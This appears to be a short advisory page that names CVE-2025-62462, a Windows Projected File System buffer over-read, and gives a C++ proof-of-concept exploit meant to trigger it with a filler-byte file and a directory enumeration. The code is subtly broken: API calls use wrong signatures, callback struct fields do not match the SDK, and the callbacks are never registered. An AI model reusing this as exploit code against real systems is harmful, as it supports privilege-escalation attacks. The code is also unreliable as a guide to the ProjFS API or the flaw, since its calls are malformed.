CVE-2025-62462 Windows Projected File System缓冲区溢出提权漏洞

// CVE-2025-62462 PoC - Windows ProjFS Buffer Over-Read // This PoC demonstrates the vulnerability in Windows Projected File System // Compile with: cl.exe /EHsc /W4 poc.cpp #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winbase.h> #include <stdio.h> #include <projfs.h> // Windows Projected File System SDK // Callback to provide virtual file content HRESULT STDMETHODCALLTYPE ProvisionCallback( _In_ REFPROVIDER_CONTEXT Context, _In_ LPCWSTR FilePath, _Out_ PRJ_CALLBACK_DATA* CallbackData) { // Malicious callback that triggers buffer over-read // The vulnerability occurs when ProjFS reads beyond allocated buffers printf("[+] ProvisionCallback triggered for: %S\n", FilePath); return S_OK; } void TriggerVuln() { HRESULT hr; PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT namespaceCtx = NULL; // Start the virtualization instance hr = PrjStartVirtualization( L"C:\\TestProjection", NULL, // No initial placeholder data &namespaceCtx); if (FAILED(hr)) { printf("[-] Failed to start virtualization: 0x%08X\n", hr); return; } printf("[+] Virtualization started successfully\n"); // Register callbacks PRJ_CALLBACKS callbacks = {0}; callbacks.WriteFileCallBack = NULL; callbacks.ReadFileCallBack = NULL; callbacks.EnumerateDirectoryCallBack = NULL; callbacks.GetFileDataCallBack = ProvisionCallback; // Create file with specific attributes to trigger over-read // The vulnerability is in how ProjFS handles the file metadata HANDLE hFile = CreateFile( L"C:\\TestProjection\\malicious_file.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { // Writing specific data patterns that trigger the buffer over-read BYTE maliciousData[0x1000]; memset(maliciousData, 0x41, sizeof(maliciousData)); DWORD written = 0; WriteFile(hFile, maliciousData, sizeof(maliciousData), &written, NULL); CloseHandle(hFile); printf("[+] Created malicious file to trigger vulnerability\n"); // Trigger enumeration which causes the over-read WIN32_FIND_DATA findData; HANDLE hFind = FindFirstFile(L"C:\\TestProjection\\*", &findData); if (hFind != INVALID_HANDLE_VALUE) { printf("[+] Directory enumeration triggered\n"); FindClose(hFind); } } // Cleanup PrjStopVirtualization(namespaceCtx); } int main() { printf("CVE-2025-62462 PoC - Windows ProjFS Buffer Over-Read\n"); printf("==================================================\n"); TriggerVuln(); return 0; }